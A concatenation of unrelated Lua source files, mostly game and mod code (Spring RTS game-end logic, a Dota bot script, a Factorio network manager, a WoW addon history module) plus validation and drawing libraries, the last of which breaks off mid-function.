theme.base0D = "#81a2be"
theme.base0E = "#b294bb"
theme.base0F = "#a3685a"
-- }}}
return theme
|
getglobal game
getfield -1 GetService
pushvalue -2
pushstring Lighting
pcall 2 1 0
getglobal Color3
getfield -1 new
pushnumber 255
pushnumber 255
pushnumber 255
setfield -3 Ambient
emptystack
|
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
--
-- file: game_end.lua
-- brief: handles trigger conditions for game over
-- author: Andrea Piras
--
-- Copyright (C) 2010-2013.
-- Licensed under the terms of the GNU GPL, v2 or later.
--
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
function gadget:GetInfo()
return {
name = "Game End",
desc = "Handles team/allyteam deaths and declares gameover",
author = "Andrea Piras",
date = "June, 2013",
license = "GNU GPL, v2 or later",
layer = 0,
enabled = true -- loaded by default?
}
end
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
-- synced only
if (not gadgetHandler:IsSyncedCode()) then
return false
end
-- In this gadget, an allyteam is declared dead when it no longer has any units
-- Allyteam explosion when no coms are left (killing all remaining units of that allyteam) is implemented in teamcomends.lua
-- sharedDynamicAllianceVictory is a C-like bool
local sharedDynamicAllianceVictory = tonumber(Spring.GetModOptions().shareddynamicalliancevictory) or 0
-- ignoreGaia is a C-like bool
local ignoreGaia = 1
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
local KillTeam = Spring.KillTeam
local GetAllyTeamList = Spring.GetAllyTeamList
local GetTeamList = Spring.GetTeamList
local GetPlayerInfo = Spring.GetPlayerInfo
local GetPlayerList = Spring.GetPlayerList
local GetTeamInfo = Spring.GetTeamInfo
local GetTeamUnitCount = Spring.GetTeamUnitCount
local GetAIInfo = Spring.GetAIInfo
local GetTeamLuaAI = Spring.GetTeamLuaAI
local GameOver = Spring.GameOver
local AreTeamsAllied = Spring.AreTeamsAllied
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
--allyTeamInfos structure:
-- allyTeamInfos = {
-- [allyTeamID] = {
-- teams = {
-- [teamID]= {
-- unitCount,
-- isGaia,
-- dead,
-- isAI,
-- isControlled,
-- players = {
-- [playerID] = isControlling
-- },
-- },
-- },
-- unitCount,
-- isGaia,
-- dead,
-- },
--}
local allyTeamInfos = {}
local teamToAllyTeam = {}
local playerIDtoAIs = {}
local playerQuitIsDead = true
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
function gadget:GameOver()
-- remove ourself after successful game over
gadgetHandler:RemoveGadget()
end
function gadget:Initialize()
if tostring(Spring.GetModOptions().deathmode) == "none" then
gadgetHandler:RemoveGadget()
end
local gaiaTeamID = Spring.GetGaiaTeamID()
local teamCount = 0
for _,teamID in ipairs(GetTeamList()) do
if ignoreGaia ~= 1 or teamID ~= gaiaTeamID then
teamCount = teamCount + 1
end
end
if teamCount < 2 then -- sandbox mode ( possibly gaia + possibly one player)
gadgetHandler:RemoveGadget()
return
elseif teamCount == 2 then
playerQuitIsDead = false -- let player quit & rejoin in 1v1
end
-- at start, fill in the table of all alive allyteams
for _,allyTeamID in ipairs(GetAllyTeamList()) do
local allyTeamInfo = {}
allyTeamInfo.unitCount = 0
allyTeamInfo.teams = {}
for _,teamID in ipairs(GetTeamList(allyTeamID)) do
teamToAllyTeam[teamID] = allyTeamID
local teamInfo = {}
teamInfo.players = {}
--is it engine ai?
teamInfo.isAI = select(4,GetTeamInfo(teamID))
teamInfo.hasLeader = select(2,GetTeamInfo(teamID)) >= 0
if teamInfo.isAI then
--store who hosts that engine ai
local AIHostPlayerID = select(3,GetAIInfo(teamID))
playerIDtoAIs[AIHostPlayerID] = playerIDtoAIs[AIHostPlayerID] or {}
playerIDtoAIs[AIHostPlayerID][teamID] = allyTeamID
end
--is luaai
if GetTeamLuaAI(teamID) ~= "" then
teamInfo.isAI = true
teamInfo.isControlled = true
end
--is gaia
if teamID == gaiaTeamID then
allyTeamInfo.isGaia = true
teamInfo.isGaia = true
teamInfo.isControlled = true
end
teamInfo.unitCount = GetTeamUnitCount(teamID)
allyTeamInfo.unitCount = allyTeamInfo.unitCount + teamInfo.unitCount
allyTeamInfo.teams[teamID] = teamInfo
end
allyTeamInfos[allyTeamID] = allyTeamInfo
end
for _,playerID in ipairs(GetPlayerList()) do
CheckPlayer(playerID)
end
end
local function IsCandidateWinner(allyTeamID)
return not allyTeamInfos[allyTeamID].dead and (ignoreGaia == 0 or not allyTeamInfos[allyTeamID].isGaia)
end
local function CheckSingleAllyVictoryEnd()
local winnerCount = 0
local candidateWinners = {}
-- find the last remaining allyteam
for allyTeamID in pairs(allyTeamInfos) do
if IsCandidateWinner(allyTeamID) then
winnerCount = winnerCount + 1
candidateWinners[#candidateWinners+1] = allyTeamID
end
end
if #candidateWinners > 1 then
return false
end
return candidateWinners
end
local function AreAllyTeamsDoubleAllied(firstAllyTeamID, secondAllyTeamID)
-- we need to check for both directions of alliance
for teamA in pairs(allyTeamInfos[firstAllyTeamID].teams) do
for teamB in pairs(allyTeamInfos[secondAllyTeamID].teams) do
if not AreTeamsAllied(teamA, teamB) or not AreTeamsAllied(teamB, teamA) then
return false
end
end
end
return true
end
local function CheckSharedAllyVictoryEnd()
-- we have to cross check all the alliances
local candidateWinners = {}
local winnerCountSquared = 0
local aliveCount = 0
for allyTeamA in pairs(allyTeamInfos) do
if IsCandidateWinner(allyTeamA) then
aliveCount = aliveCount + 1
for allyTeamB in pairs(allyTeamInfos) do
if IsCandidateWinner(allyTeamB) and AreAllyTeamsDoubleAllied(allyTeamA, allyTeamB) then
-- store both check directions
-- since we're gonna check if we're allied against ourself, only secondAllyTeamID needs to be stored
candidateWinners[allyTeamB] = true
winnerCountSquared = winnerCountSquared + 1
end
end
end
end
if aliveCount*aliveCount ~= winnerCountSquared then
return false
end
-- all the allyteams alive are bidirectionally allied against eachother, they are all winners
local winnersCorrectFormat = {}
for winner in pairs(candidateWinners) do
winnersCorrectFormat[#winnersCorrectFormat+1] = winner
end
return winnersCorrectFormat
end
local function UpdateAllyTeamIsDead(allyTeamID)
local allyTeamInfo = allyTeamInfos[allyTeamID]
local dead = true
for teamID,teamInfo in pairs(allyTeamInfo.teams) do
if not playerQuitIsDead then
dead = dead and (teamInfo.dead or not teamInfo.hasLeader )
else
dead = dead and (teamInfo.dead or not teamInfo.isControlled )
end
end
allyTeamInfos[allyTeamID].dead = dead
end
function gadget:GameFrame()
for _,playerID in ipairs(GetPlayerList()) do
CheckPlayer(playerID) -- because not all events that we want to test call gadget:PlayerChanged (e.g. allying)
end
local winners
if sharedDynamicAllianceVictory == 0 then
winners = CheckSingleAllyVictoryEnd()
else
winners = CheckSharedAllyVictoryEnd()
end
if winners then
GameOver(winners)
end
end
function CheckPlayer(playerID)
local _,active,spectator,teamID = GetPlayerInfo(playerID)
local allyTeamID = teamToAllyTeam[teamID]
local teamInfo = allyTeamInfos[allyTeamID].teams[teamID]
teamInfo.players[playerID] = active and not spectator
teamInfo.hasLeader = select(2,GetTeamInfo(teamID)) >= 0
if not teamInfo.hasLeader and not teamInfo.dead then
KillTeam(teamID)
--Script.LuaRules.TeamDeathMessage(teamID)
end
if not teamInfo.isAI then
--if team isn't AI controlled, then we need to check if we have attached players
teamInfo.isControlled = false
for _,isControlling in pairs(teamInfo.players) do
if isControlling then
teamInfo.isControlled = true
break
end
end
end
--if player is an AI controller, then mark all hosted AIs as uncontrolled
local AIHostList = playerIDtoAIs[playerID] or {}
for AITeam, AIAllyTeam in pairs(AIHostList) do
allyTeamInfos[AIAllyTeam].teams[AITeam].isControlled = active
end
allyTeamInfos[allyTeamID].teams[teamID] = teamInfo
UpdateAllyTeamIsDead(allyTeamID)
end
function gadget:TeamDied(teamID)
local allyTeamID = teamToAllyTeam[teamID]
local allyTeamInfo = allyTeamInfos[allyTeamID]
allyTeamInfo.teams[teamID].dead = true
allyTeamInfos[allyTeamID] = allyTeamInfo
UpdateAllyTeamIsDead(allyTeamID)
--Script.LuaRules.TeamDeathMessage(teamID)
end
function gadget:UnitCreated(unitID, unitDefID, unitTeamID)
local allyTeamID = teamToAllyTeam[unitTeamID]
local allyTeamInfo = allyTeamInfos[allyTeamID]
allyTeamInfo.teams[unitTeamID].unitCount = allyTeamInfo.teams[unitTeamID].unitCount + 1
allyTeamInfo.unitCount = allyTeamInfo.unitCount + 1
allyTeamInfos[allyTeamID] = allyTeamInfo
end
gadget.UnitGiven = gadget.UnitCreated
gadget.UnitCaptured = gadget.UnitCreated
function gadget:UnitDestroyed(unitID, unitDefID, unitTeamID)
local allyTeamID = teamToAllyTeam[unitTeamID]
local allyTeamInfo = allyTeamInfos[allyTeamID]
local teamUnitCount = allyTeamInfo.teams[unitTeamID].unitCount -1
local allyTeamUnitCount = allyTeamInfo.unitCount - 1
allyTeamInfo.teams[unitTeamID].unitCount = teamUnitCount
allyTeamInfo.unitCount = allyTeamUnitCount
allyTeamInfos[allyTeamID] = allyTeamInfo
if allyTeamInfo.isGaia and ignoreGaia == 1 then
return
end
if allyTeamUnitCount == 0 then
--Script.LuaRules.AllyTeamDeathMessage(allyTeamID)
for teamID in pairs(allyTeamInfo.teams) do
KillTeam(teamID)
end
end
end
gadget.UnitTaken = gadget.UnitDestroyed
|
local npcBot = nil;
function MinionThink( hMinionUnit )
if npcBot == nil then npcBot = GetBot(); end
if not hMinionUnit:IsNull() and hMinionUnit ~= nil then
if hMinionUnit:GetUnitName() == "npc_dota_templar_assassin_psionic_trap" and hMinionUnit ~= nil and hMinionUnit:GetHealth() > 0
then
local abilitySTP = hMinionUnit:GetAbilityByName( "templar_assassin_self_trap" );
local abilityTP = npcBot:GetAbilityByName( "templar_assassin_trap" );
local nRadius = abilitySTP:GetSpecialValueInt("trap_radius");
local nRange = npcBot:GetAttackRange();
local Enemies = hMinionUnit:GetNearbyHeroes(nRadius, true, BOT_MODE_NONE);
local Allies = hMinionUnit:GetNearbyHeroes(2*nRadius, false, BOT_MODE_NONE);
local distance = GetUnitToUnitDistance(npcBot, hMinionUnit);
if Enemies ~= nil and #Enemies >=1 and ( distance < 800 or Allies ~= nil ) and abilityTP:IsFullyCastable() then
npcBot:Action_UseAbility( abilityTP );
return;
end
end
end
end
|
local playsession = {
{"Nate66873", {107835}},
{"Flashbacks", {3465}},
{"Piewdennis", {79236}},
{"Gorlos", {67997}}
}
return playsession
|
return function()
local NetworksManagerObject = {}
local NetworkTickRate = 30
local LastNetworkTick = 0
-- All Nodes
-- Sequential array
-- Serialized
local Nodes = nil
-- Map( CircuitNetworkID -> Network )
local Networks = {}
-- Map ( Node -> Handler )
local TickingNodes = {}
-- Returns the index of the given node
local function GetNodeIndex(node)
for idx = 1, #Nodes do
if (node == Nodes[idx]) then
return idx
end
end
return 0
end
-- Gets the network for the given node and wire type, will create one if no network is found
-- Will return nil if the node is not connected to a circuit network for the wire type.
local function GetOrCreateNetworkHandlerForCircuitNetwork(node, wireType)
local circuitNetwork = SE.NodeHandlersRegistry.GetNodeHandler(node).GetCircuitNetwork(node, wireType)
if (circuitNetwork == nil) then
return nil
end
local netID = circuitNetwork.network_id
local network = Networks[netID]
if (network == nil) then
network = SE.NetworkHandler.NewNetwork(netID, wireType)
Networks[netID] = network
SE.Logger.Trace("Creating new network for " .. tostring(circuitNetwork.network_id))
end
return network
end
-- Checks if the node has changed circuit networks, and adjusts SE networks accordingly
local function ValidateConnection(node, wireType)
local detectedNet = GetOrCreateNetworkHandlerForCircuitNetwork(node, wireType)
-- Note that for loading purposes, GetNetworkForNode must come after GetOrCreateNetworkHandlerForCircuitNetwork
local prevNetwork = NetworksManagerObject.GetNetworkForNode(node, wireType)
-- Has connection changed?
if (detectedNet ~= prevNetwork) then
-- Was on a network?
if (prevNetwork ~= nil) then
-- Leave old network
SE.NetworkHandler.RemoveNode(prevNetwork, node, true)
SE.Logger.Trace("Node leaving network " .. tostring(prevNetwork.NetworkID))
end
-- Joining a network?
if (detectedNet ~= nil) then
SE.NetworkHandler.AddNode(detectedNet, node, true)
SE.Logger.Trace("Node joining network " .. tostring(detectedNet.NetworkID))
end
end
end
-- Removes a node by its index
local function RemoveNodeByIndex(idx)
SE.Logger.Trace("Networks: Removing node")
local node = Nodes[idx]
local nodeHandler = SE.NodeHandlersRegistry.GetNodeHandler(node)
-- Inform the node
nodeHandler.OnDestroy(node)
-- Remove from networks
local network = NetworksManagerObject.GetNetworkForNode(node, defines.wire_type.green)
if (network ~= nil) then
SE.NetworkHandler.RemoveNode(network, node, true)
end
network = NetworksManagerObject.GetNetworkForNode(node, defines.wire_type.red)
if (network ~= nil) then
SE.NetworkHandler.RemoveNode(network, node, true)
end
-- Set node networks to nil
node.Networks[defines.wire_type.red] = nil
node.Networks[defines.wire_type.green] = nil
-- Remove from nodes
table.remove(Nodes, idx)
-- Does the node tick?
if (nodeHandler.NeedsTicks) then
-- Remove from ticking
TickingNodes[node] = nil
end
end
-- Returns an array containing all network ids
function NetworksManagerObject.GetNetworkIDs()
local ids = {}
for circuitID, _ in pairs(Networks) do
ids[#ids + 1] = circuitID
end
return ids
end
-- Returns the network with the specified ID
function NetworksManagerObject.GetNetwork(ID)
return Networks[ID]
end
-- Returns the network the node is on, or nil
function NetworksManagerObject.GetNetworkForNode(node, wireType)
return Networks[node.Networks[wireType]]
end
-- Add a node, if it is not already present
function NetworksManagerObject.AddNode(node)
if (GetNodeIndex(node) == 0) then
-- Add to nodes
Nodes[#Nodes + 1] = node
-- Does the node tick?
local handler = SE.NodeHandlersRegistry.GetNodeHandler(node)
if (handler.NeedsTicks) then
-- Add to ticking
TickingNodes[node] = handler
end
SE.Logger.Trace("Networks: Added node")
end
return node
end
-- Removes a node from its network(s)
-- This will remove all references to the node, and should
-- only be called when the entity is being removed
function NetworksManagerObject.RemoveNode(node)
local idx = GetNodeIndex(node)
if (idx > 0) then
RemoveNodeByIndex(idx)
end
end
-- Finds the node for the given entity and removes it.
function NetworksManagerObject.RemoveNodeByEntity(entity)
for idx = 1, #Nodes do
if (Nodes[idx].Entity == entity) then
RemoveNodeByIndex(idx)
break
end
end
end
-- NetworkNode GetNodeForEntity(entity)
-- Returns the node for the given entity, or nil
function NetworksManagerObject.GetNodeForEntity(entity)
for idx = 1, #Nodes do
if (Nodes[idx].Entity == entity) then
return Nodes[idx]
end
end
return nil
end
-- Tick( Event )
-- Ticks all nodes, and periodically ticks each network
function NetworksManagerObject.Tick(event)
-- Tick networks
for _, network in next, Networks do
SE.NetworkHandler.OnTick(network, event.tick)
end
-- Tick nodes
for node, handler in next, TickingNodes do
if (handler.Valid(node)) then
handler.OnTick(node, event.tick)
end
end
-- Network tick?
if (math.fmod(event.tick, SE.Settings.TickRate) == 0) then
-- Validate all nodes and connections
local node = nil
local idx = 1
while (idx <= #Nodes) do
node = Nodes[idx]
-- Is the node still valid?
if (SE.NodeHandlersRegistry.GetNodeHandler(node).Valid(node)) then
-- Validate connections
ValidateConnection(node, defines.wire_type.green)
ValidateConnection(node, defines.wire_type.red)
-- Increment loop variable
idx = idx + 1
else
-- Node is no longer valid, remove it, and do not increment loop varaiable
SE.Logger.Trace("Networks: Removing invalid node")
SE.Logger.Trace(serpent.block(node))
RemoveNodeByIndex(idx)
end
end
-- Validate and tick all networks
for circuitNetworkID, network in pairs(Networks) do
if (SE.NetworkHandler.Empty(network)) then
SE.Logger.Trace("Removing empty network " .. tostring(circuitNetworkID))
Networks[circuitNetworkID] = nil
else
SE.Logger.Trace("Ticking Network " .. tostring(circuitNetworkID))
SE.NetworkHandler.NetworkTick(network)
end
end
end -- End network tick
end
-- Called during the mods OnInit phase
function NetworksManagerObject.OnInit()
Nodes = SE.DataStore.Nodes
end
-- Called during the mods OnLoad phase
function NetworksManagerObject.OnLoad()
NetworksManagerObject.OnInit()
end
-- Called when the first tick of a new/loaded game happens.
-- Re-establishes all networks
function NetworksManagerObject.FirstTick()
-- Recreate all networks
local network = nil
local node = nil
for idx = 1, #Nodes do
node = Nodes[idx]
-- Get the handler
local handler = SE.NodeHandlersRegistry.GetNodeHandler(node)
-- Ensure the nodes structure is valid
handler.EnsureStructure(node)
ValidateConnection(node, defines.wire_type.green)
ValidateConnection(node, defines.wire_type.red)
-- Is there a green network?
network = NetworksManagerObject.GetNetworkForNode(node, defines.wire_type.green)
if (network ~= nil) then
-- Add the node
SE.NetworkHandler.AddNode(network, node, false)
end
-- Is there a red network?
network = NetworksManagerObject.GetNetworkForNode(node, defines.wire_type.red)
if (network ~= nil) then
-- Add the node
SE.NetworkHandler.AddNode(network, node, false)
end
-- Does the node tick?
if (handler.NeedsTicks) then
-- Add to ticking
TickingNodes[node] = handler
end
end
end
return NetworksManagerObject
end
|
object_mobile_propti_xaroon = object_mobile_shared_propti_xaroon:new {
}
ObjectTemplates:addTemplate(object_mobile_propti_xaroon, "object/mobile/propti_xaroon.iff")
|
--
-- lua-LIVR : <http://fperrad.github.com/lua-LIVR/>
--
local _, utf8 = pcall(require, 'lua-utf8')
local lower = utf8 and utf8.lower or string.lower
local upper = utf8 and utf8.upper or string.upper
local tostring = tostring
local type = type
local _ENV = nil
return {
trim = function ()
return function (value)
if type(value) == 'number' or type(value) == 'boolean' then
value = tostring(value)
end
if type(value) == 'string' then
value = value:gsub('^%s+', '')
value = value:gsub('%s+$', '')
end
return value
end
end,
to_lc = function ()
return function (value)
if type(value) == 'number' or type(value) == 'boolean' then
value = tostring(value)
end
if type(value) == 'string' then
value = lower(value)
end
return value
end
end,
to_uc = function ()
return function (value)
if type(value) == 'number' or type(value) == 'boolean' then
value = tostring(value)
end
if type(value) == 'string' then
value = upper(value)
end
return value
end
end,
remove = function (_, chars)
local re = '[' .. chars:gsub('[%%%-%]%[%^]', '%%%1') .. ']'
return function (value)
if type(value) == 'number' then
value = tostring(value)
end
if type(value) == 'string' then
value = value:gsub(re, '')
end
return value
end
end,
leave_only = function (_, chars)
local re = '[^' .. chars:gsub('[%%%-%]%[]', '%%%1') .. ']'
return function (value)
if type(value) == 'number' then
value = tostring(value)
end
if type(value) == 'string' then
value = value:gsub(re, '')
end
return value
end
end,
default = function (_, default_value)
return function (value)
if value == nil or value == '' then
value = default_value or {}
end
return value
end
end,
}
--
-- Copyright (c) 2018 Francois Perrad
--
-- This library is licensed under the terms of the MIT/X11 license,
-- like Lua itself.
--
|
--lua
local unpack, select, error, date, time, pairs, tremove
= unpack, select, error, date, time, pairs, table.remove
--wow api
local GameTime_GetFormattedTime
= GameTime_GetFormattedTime
local BestInSlot, L, AceGUI = unpack(select(2, ...))
local History = BestInSlot:NewModule("History")
local HistoryFrame = BestInSlot:GetMenuPrototype("_history")
HistoryFrame.Width = 800
HistoryFrame.Height = 600
History.NEWLIST = 1
History.MODIFIEDITEM = 2
History.errorchecking = {
[History.NEWLIST] = function(data) return data.raidtier and data.difficulty and data.spec and true end,
[History.MODIFIEDITEM] = function(data) return data.raidtier and data.difficulty and data.slot and (data.previtem or data.newitem) and true end
}
local function createHistoryObject(data)
if data.time then error("You cannot set the time element yourself. This must be done by the createHistoryObject. Please use a differerent variable to save your data in.") end
data.time = time()
return data
end
function History:OnInitialize()
BestInSlot.History = self
self.db = BestInSlot.db.factionrealm._history
self.options = BestInSlot.db.char.options
self.menuid = HistoryFrame.menuindex
end
function History:OnEnable()
local currentTime = time()
local number, timespan = (self.options.historyLength):match("(%d+)(%a)")
if not number or not timespan then return end
if timespan == "d" then
number = number * 86400
elseif timespan == "h" then
number = number * 3600
end
local deleteTime = currentTime - number
for character,charHistory in pairs(self.db) do
local deleteIndex = -1
for i=1,#charHistory do
if charHistory[i].time < deleteTime then
deleteIndex = i
else
break
end
end
if deleteIndex ~= -1 then
for i=1,deleteIndex do
tremove(charHistory, 1)
end
end
end
end
function History:HasHistory(player, raidtier, difficulty, spec)
if self.db[player] and #self.db[player] > 0 then
for i=1,#self.db[player] do
local historyitem = self.db[player][i]
if historyitem.raidtier and historyitem.difficulty and historyitem.raidtier == raidtier and historyitem.difficulty == difficulty and historyitem.spec == spec then
return true
end
end
end
return false
end
local function getDateString(time)
local adate = date("*t", time)
return (SHORTDATE):format(adate.day, adate.month, adate.year).." "..GameTime_GetFormattedTime(adate.hour, adate.min)
end
local function newListStringConstructor(obj, character)
return ("%s - %s"):format(
getDateString(obj.time),
L["Created BestInSlot list"]
)
end
local function modifiedItemStringConstructor(obj, character, label)
local previtem = History:GetItem(obj.previtem, obj.difficulty)
local newitem = History:GetItem(obj.newitem, obj.difficulty)
if previtem or newitem then
label:SetUserData("itemid", obj.previtem or obj.newitem)
label:SetUserData("difficulty", obj.difficulty)
return ("%s - %s"):format(
getDateString(obj.time),
L["Modified the %s slot. Previous item: %s, new item: %s"]:format(
_G[previtem and previtem.equipSlot or newitem and newitem.equipSlot or "UNKNOWN"],
previtem and previtem.link or NONE,
newitem and newitem.link or NONE
)
)
else
return ("%s - %s"):format(
getDateString(obj.time),
L["Modified the %s slot. Previous item: %s"]:format(
History.slots[obj.slot],
UNKNOWN
)
)
end
end
local historyStringConstructors = {
[History.NEWLIST] = newListStringConstructor,
[History.MODIFIEDITEM] = modifiedItemStringConstructor
}
function History:GetHistoryLabel(historyObj, character, label)
local label = self:GetItemLinkLabel("PLACEHOLDER", nil, false)
label:SetFullWidth(true)
if historyStringConstructors[historyObj.type] then
label:SetText(historyStringConstructors[historyObj.type](historyObj, character, label))
end
return label
end
function History:GetHistoryByRaidTier(player)
local history = self:GetHistoryForPlayer(player)
local orderedHistory = {}
for i=1,#history do
local item = history[i]
if item.raidtier and item.difficulty then
local raidtier = orderedHistory[item.raidtier]
if not raidtier then
raidtier = {}
orderedHistory[item.raidtier] = raidtier
end
local difficulty = raidtier[item.difficulty]
if not difficulty then
difficulty = {}
raidtier[item.difficulty] = difficulty
end
difficulty[#difficulty+1] = item
end
end
return orderedHistory
end
function History:GetHistoryForPlayer(player)
return self.db[player]
end
function History:GetLatestRecord(player, raidtier, difficulty, slot)
if not self.db[player] then return end
local playerdb = self.db[player]
if not raidtier then return playerdb[#playerdb] end
for i=#playerdb, 1, -1 do
local item = self.db[player][i]
if raidtier == item.raidtier and not difficulty or difficulty == item.difficulty and not slot or slot == item.slot then
return item
end
end
end
function History:Add(player, data, addType)
local obj = createHistoryObject(data)
self.db[player].lastUpdate = time()
if not self.options.keepHistory then return end
local historydb = self.db[player]
addType = addType or self.MODIFIEDITEM
data.type = addType
if self.errorchecking[addType] and self.errorchecking[addType](data) then
historydb[#historydb+1] = obj
end
end
function HistoryFrame:Draw(container, character)
if not character then
self:SetMenu(1)
return
end
container:SetLayout("Fill")
local scroll = AceGUI:Create("ScrollFrame")
scroll:SetFullWidth(true)
scroll:SetFullHeight(true)
local heading = AceGUI:Create("Heading")
heading:SetFullWidth(true)
heading:SetText(L["History for %s"]:format(character))
scroll:AddChild(heading)
for raidtier, difficulties in pairs(History:GetHistoryByRaidTier(character)) do
for difficulty, history in pairs(difficulties) do
local heading = AceGUI:Create("Heading")
heading:SetFullWidth(true)
heading:SetText(("%s %s"):format(self:GetDescription(self.RAIDTIER, raidtier), self:GetDescription(self.DIFFICULTY, raidtier, difficulty)))
scroll:AddChild(heading)
for i=1,#history do
scroll:AddChild(History:GetHistoryLabel(history[i], character))
end
end
end
container:AddChild(scroll)
end
function History:DeleteAllHistory()
StaticPopup_Show("BIS_CONFIRM_DELETE_HISTORY")
end
StaticPopupDialogs.BIS_CONFIRM_DELETE_HISTORY = {
text = L["Are you sure you want to delete ALL history?"],
button1 = YES,
button2 = NO,
OnAccept = function()
History.db = {}
end,
whileDead = false,
hideOnEscape = true,
preferredIndex = 3,
}
function HistoryFrame:IsShown()
return false
end
|
-- luapan - pan's standard library
-- copyright (C) lqdev, 2020-2021
-- enums
do
local enums = {
"PanLineCap",
"PanLineJoin",
"PanFontWeight",
"PanFontSlant",
"PanTextHAlign",
"PanTextVAlign",
"PanAntialiasing",
"PanBlendMode",
"PanExtend",
"PanFilter",
}
for _, typename in ipairs(enums) do
local enum = _G[typename]
_G[typename] = nil
for name, value in pairs(enum) do
pan[name] = value
end
end
end
-- PROJECT
local implInit = pan._init
pan._init = nil
function pan.animation(opt)
assert(type(opt.width) == "number", "frame width must be a number")
assert(type(opt.height) == "number", "frame height must be a number")
assert(type(opt.length) == "number", "animation length must be a number")
opt.framerate = opt.framerate or 60
assert(type(opt.framerate) == "number", "framerate must be a number")
assert(opt.width > 0 and opt.height > 0, "frame size must be positive")
assert(opt.length > 0, "animation length must be positive")
assert(opt.framerate > 0, "animation framerate must be positive")
-- wanted to do this from Nim, but sadly closures are notc compatible with
-- cdecl which is what nimLUA expects. thus, i could not close over the
-- lua state in order to do these rawsets. oh well.
rawset(pan, "width", opt.width)
rawset(pan, "height", opt.height)
rawset(pan, "length", opt.length)
rawset(pan, "framerate", opt.framerate)
width = pan.width
height = pan.height
length = pan.length
framerate = pan.framerate
implInit(opt.width, opt.height, opt.length, opt.framerate)
end
-- COLOR
local implRgba = Color._create
local implFont = Font._create
pan.solid = Paint._createSolid
pan.pattern = Paint._createPattern
Color._create = nil
Font._create = nil
Paint._createSolid = nil
Paint._createPattern = nil
local colorIndex = Color.__index
function Color.__index(self, key)
if key == 'r' then return self.raw_r * 255
elseif key == 'g' then return self.raw_g * 255
elseif key == 'b' then return self.raw_b * 255
elseif key == 'a' then return self.raw_a * 255
end
return colorIndex(self, key)
end
function pan.rgba(r, g, b, a)
return implRgba(r / 255, g / 255, b / 255, a / 255)
end
function pan.rgb(r, g, b)
return pan.rgba(r, g, b, 255)
end
function pan.gray(value, alpha)
if alpha == nil then alpha = 255 end
return pan.rgba(value, value, value, alpha)
end
function pan.hex(hexcode)
local h = hexcode
if #h > 0 and h:sub(1, 1) == '#' then
h = h:sub(2)
end
local r, g, b, a = 0, 0, 0, 255
if #h == 3 or #h == 4 then
r = tonumber(h:sub(1, 1), 16)
g = tonumber(h:sub(2, 2), 16)
b = tonumber(h:sub(3, 3), 16)
if #h == 4 then
a = tonumber(h:sub(4, 4), 16)
end
elseif #h == 6 or #h == 8 then
r = tonumber(h:sub(1, 2), 16)
g = tonumber(h:sub(3, 4), 16)
b = tonumber(h:sub(5, 6), 16)
if #h == 8 then
a = tonumber(h:sub(7, 8), 16)
end
else
error("invalid hex code: '"..hexcode.."'")
end
return pan.rgba(r, g, b, a)
end
function Color.withRed(self, r)
return pan.rgba(r, self.g, self.b, self.a)
end
function Color.withGreen(self, g)
return pan.rgba(self.r, g, self.b, self.a)
end
function Color.withBlue(self, b)
return pan.rgba(self.r, self.g, b, self.a)
end
function Color.withAlpha(self, a)
return pan.rgba(self.r, self.g, self.b, a)
end
function Color.mulAlpha(self, coeff)
return self:withAlpha(self.a * coeff)
end
-- IMAGES
pan.image = {
empty = Image._empty,
load = Image._load,
result = pan._switch(),
}
Image._empty = nil
Image._load = nil
function Image.size(self)
return self.width, self.height
end
-- DRAWING
local implPathCursor = pan._pathCursor
pan._pathCursor = nil
function pan.pathCursor()
local pos = implPathCursor()
return pos.x, pos.y
end
function pan.line(x0, y0, x1, y1, paint)
pan.pushPath()
pan.begin()
pan.moveTo(x0, y0)
pan.lineTo(x1, y1)
pan.stroke(paint)
pan.popPath()
end
function pan.rects(x, y, w, h, paint)
pan.pushPath()
pan.begin()
pan.rect(x, y, w, h)
pan.stroke(paint)
pan.popPath()
end
function pan.rectf(x, y, w, h, paint)
pan.pushPath()
pan.begin()
pan.rect(x, y, w, h)
pan.fill(paint)
pan.popPath()
end
function pan.circles(x, y, r, paint)
pan.pushPath()
pan.begin()
pan.arc(x, y, r, 0, math.pi * 2)
pan.stroke(paint)
pan.popPath()
end
function pan.circlef(x, y, r, paint)
pan.pushPath()
pan.begin()
pan.arc(x, y, r, 0, math.pi * 2)
pan.fill(paint)
pan.popPath()
end
function pan.cliprect(x, y, w, h)
pan.pushPath()
pan.begin()
pan.rect(x, y, w, h)
pan.clip()
pan.popPath()
end
function pan.blit(image, x, y, w, h, t)
assert(type(image) == "userdata", "image must be provided")
assert(type(x) == "number" and type(y) == "number",
"blit position must be provided")
if type(w) == "number" then
assert(type(h) == "number", "both width and height must be provided")
else
w, h = image:size()
end
t = t or {}
pan.push()
pan.cliprect(x, y, w, h)
pan.scale(w / image.width, h / image.height)
pan.translate(x, y)
pan.clear(pan.pattern(image) -- a bit inefficient wrt allocations
:filter(t.filter or Nearest))
pan.pop()
end
local switchImpl = pan._switch
pan._switch = nil
function pan.switch(dest)
local result = switchImpl(dest)
if dest ~= nil then
rawset(pan, "width", dest.width)
rawset(pan, "height", dest.height)
width = dest.width
height = dest.height
end
return result
end
function pan.font(name, weight, slant)
weight = weight or fwNormal
slant = slant or fsNone
return implFont(name, weight, slant)
end
local implText = pan._text
local implTextSize = pan._textSize
pan._text = nil
pan._textSize = nil
function pan.text(font, x, y, text_, size, w, h, halign, valign)
if w == nil then w = 0 end
if h == nil then h = 0 end
if halign == nil then halign = taLeft end
if valign == nil then valign = taTop end
implText(font, x, y, text_, size, w, h, halign, valign)
end
function pan.textf(font, x, y, text_, size, paint, w, h, halign, valign)
pan.pushPath()
pan.begin()
pan.text(font, x, y, text_, size, w, h, halign, valign)
pan.fill(paint)
pan.popPath()
end
function pan.texts(font, x, y, text_, size, paint, w, h, halign, valign)
pan.pushPath()
pan.begin()
pan.text(font, x, y, text_, size, w, h, halign, valign)
pan.stroke(paint)
pan.popPath()
end
local spaceWidths = setmetatable({}, { __mode = 'k' })
local function rawTextSize(font, text, size)
local s = implTextSize(font, text, size)
return s.w, s.h
end
-- workaround for cairo not including trailing spaces in its text extents.
-- i am aware that this is a bit imprecise because of kerning, but should be
-- good enough for most basic purposes
local function getSpaceWidth(font, size)
if not spaceWidths[font] then
spaceWidths[font] = {}
end
local width = spaceWidths[font][size]
if not width then
local spacew = rawTextSize(font, " w", size)
local w = rawTextSize(font, 'w', size)
